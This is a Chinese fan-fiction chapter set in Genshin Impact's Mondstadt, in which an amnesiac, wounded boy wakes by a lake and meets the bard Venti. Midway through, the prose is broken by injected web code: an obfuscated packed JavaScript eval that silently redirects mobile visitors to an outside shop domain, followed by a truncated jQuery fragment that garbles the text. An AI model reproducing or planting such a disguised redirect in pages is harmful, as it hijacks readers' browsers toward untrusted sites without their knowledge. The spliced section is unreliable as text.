蒙德的果酒湖畔,风车菊在夜风里轻轻摇晃。
少年是被鸟鸣吵醒的。
睁开眼,入目是陌生的天空,蓝得不像话,云层稀薄,阳光透亮得刺眼。
他下意识抬手挡住了阳光,却发现指尖缠着几根枯草,手背上几道浅色的纹路像褪了色的旧疤痕,在日光下几乎看不真切。
少年撑着地面坐起来,浑身骨头像散了架又重拼了一遍。肋骨左侧隐隐作痛,呼吸时牵扯着钝钝的酸胀。
低头看了看自己——衣服破得不成样子,名贵的布料边缘焦黑卷曲,袖口裂开一条长缝,露出小臂上一道从手腕蜿蜒到肘弯的伤痕,倔强的印在皮肤上。
少年盯着它看了两秒,又抬手摸了摸肋骨的伤处,指尖按下去的时候,该有的反应一样都没有——没有皱眉,没有抽气,只是确认了“这里确实有伤”,然后就把手放下了。
奇怪?他不记得这些伤是怎么来的,甚至不记得自己是谁。
环顾四周,草地像是活的,风一吹,整片草浪从湖边一直推到远处的坡上,层层叠叠,像有人在不停翻一床巨大的绿毯子。
湖水清得能看见底下的石头,几只水鸟把脑袋扎进水里又拔出来,抖一抖翅膀,毫不在意旁边坐着一个浑身是伤的人。
远处几座风车建筑慢悠悠地转着,叶片切割空气的声音隔了这么远还隐约可闻,一下又一下,像某种古老而安稳的呼吸。
他低头看了一眼自己的手,阳光落在手背上,是暖的。风从耳侧绕过去,带着青草被晒过的味道,还混着湖水那种淡淡的、带一点凉意的湿气。
草叶蹭着掌心,微微发痒。他甚至能听见自己的心跳声,一下一下,平稳的,不紧不慢的。阳光照在破掉的袖口上,把他小臂那几道伤痕也染成了暖融融的颜色。
好像一切都好好的。
“我还活着,我还在这里。”可脑子里突然闪了一下。
漫天金色的光,铺天盖地的向他袭来,不是刚才落在手背上那种温吞的日光,是炸裂的、拼尽所有的金色,像有人把一整座山在他面前生生掰碎了。
光屑朝着四面八方炸开,每一粒都烫得灼眼,他被那些光裹着往前推,速度快到整张脸都被风刮得发麻。
然后什么都没有了,声音、温度、全都感受不到了。他被扔进一片黑暗里,黑到不知道自己是睁着眼还是闭着眼。
在那片黑暗里度过了不知多长的时间,再睁开眼就是这片草地,这些风车,这阵温吞的风,以及手上这点暖洋洋的太阳。
可他低头看自己袖口下面那些淡色的伤痕,想不起来那些光是从哪里炸开的。
也想不起来——被推出去之前,拥抱自己那双温热的手来自何人……
风又吹过来,把草叶压弯了一片。
他重新攥住了身下的草根,攥得指节发白,松开的时候,掌心留下了几道被草叶勒出的红痕。
他低头摸了摸胸口处挂着的一个金黄色的石坠子,亮晶晶的。手指按上去的时候,心底泛起了一阵说不清道不明的钝痛,他不知道那是什么。
他握紧了那石坠子,沉默了很久,眼睛有些干涩,像是被那柔和的日光刺痛了双眸。
湖面突然泛起微光。
那光是从湖水中央涌上来的,青白色,柔和却不微弱,像一颗沉在水底的星星突然决定浮上来透口气。
少年脊背一绷,本能地往后挪了半步,手按上腰间——空的,没有武器,只有一截不知什么时候被他攥在手里的枯树枝。
光晕里传出一个声音。
“唔…让我看看……”那声音懒洋洋的,带着刚醒的鼻音,“这是谁家的小朋友,跑到了我的地盘上?”
青白色的光团缓缓凝实,碎成无数点星芒飘散。
一个人影蹲在湖面上,绿衣白衫,披风被风吹得轻轻鼓起,翠绿色的眼睛像两片浸了水的琉璃叶,正带着刚睡醒的倦意打量他。
少年没有动,也没有说话。他只是攥紧了手里的枯枝,微微弓起背,像一只被逼到墙角的猫。
绿衣人偏了偏头,目光在他身上缓缓扫过——从那双戒备的眼睛,到他身上的衣服,再到少年行动间若隐若现的伤痕,眼神从漫不经心到认真只用了短短一瞬间。
他观察得很慢,看的很仔细,眼神疑惑了一瞬,却又在瞬间放下。
“别紧张,别紧张。”他摆了摆手,语气里带着轻柔温暖的安抚,“我没有恶意。”
他站起来,轻飘飘地踩上湖岸,草叶在他脚下微微弯折又弹回。他凑近几步,蹲在少年面前,歪着头看他的脸。
“嗯……”他摸了摸下巴,“你这张脸,我好像在哪里见过类似的。”
少年看着他,没有回应。
“但不是你。”温迪很快自己否定了,摇了摇头,“年纪对不上,气质也差太多了。像一块还没打磨的原石,跟那种被风霜砸了几千年的石头完全不是一回事。”
他站起身,拍了拍衣摆,语气又恢复了方才的松散:“我是温迪,蒙德最好的吟游诗人,你呢?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17711159|208426||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少年张了张嘴,嗓子干涩得发不出声音。他试了两次,才挤出一句:“……我不知道。”
温迪愣了一下,随即笑了起来,不是嘲笑,是那种觉得事情变得有趣了的笑。
“不记得了?”,少年沉默不语。
“那其他的呢?从哪来?怎么受的伤?身上那些浅色的纹路——”温迪伸手指了指他的手背,“是旧伤吗?”
他低头看了看自己的手。那些纹路其实已经很淡了,像被什么力量从内部一点一点洗掉了颜色,只剩下残余的痕迹证明它们曾经存在过。试着回忆,脑海里却只有那一片金色的碎光和黑暗。
“……不记得了。”他说。
温迪看了他几秒,眼神里那点漫不经心的笑意收敛了一些,但他没有追问。
他只是转过身,朝远处蒙德城的方向扬了扬下巴:“走吧,既然不记得了,站在湖边也回想不出什么,进城喝杯热果汁,说不定胃暖了脑子也跟着转了哦。”
他走出几步,回头看见少年还站在原地,攥着那截枯枝,目光空茫茫地望着湖面。
“喂,小朋友,”温迪喊了一声。
少年抬起头。
“别想了。”温迪冲他笑了一下,那笑容很轻,像风掠过琴弦时带出的一声哨音。
“蒙德最不缺的就是流浪的人和没讲完的故事。你现在连自己是谁都不知道,这不正好,可以挑一个喜欢的名字,重新开始。”
少年沉默了很久,最后慢慢松开那截枯枝,缓缓站起来,跟上了温迪的脚步。
他走得很慢,似乎腿上也有伤,每走一会儿都得微微顿一下。
温迪的余光看着和他身量差不多的少年,没有刻意去搀扶他,只是放慢了步子,嘴里哼着一支不知名的小调。
风从果酒湖上吹过来,把两个人的衣摆都吹皱了。
少年走了一段路,又下意识地抬手按了按胸口那枚石坠子。
温迪瞥见了,但什么也没说。
他只是在哼歌的间隙多看了一眼——那石头颜色温润,金黄偏像是石珀,日光底下一晃有层浅浅的光泽,看着像块成色不错的石料。边缘有断裂的痕迹,断口却磨得光滑了,像碎了被人修复之后贴身带了很久。
当然,这份念想只在他脑子里转了一瞬就被风吹散了。
毕竟他刚醒,脑袋里还装着几百年的宿醉感,还不是很有精神深究一个路边捡来的流浪小孩。
他打了个哈欠,嘴里哼着歌。
风车在远处慢慢转着。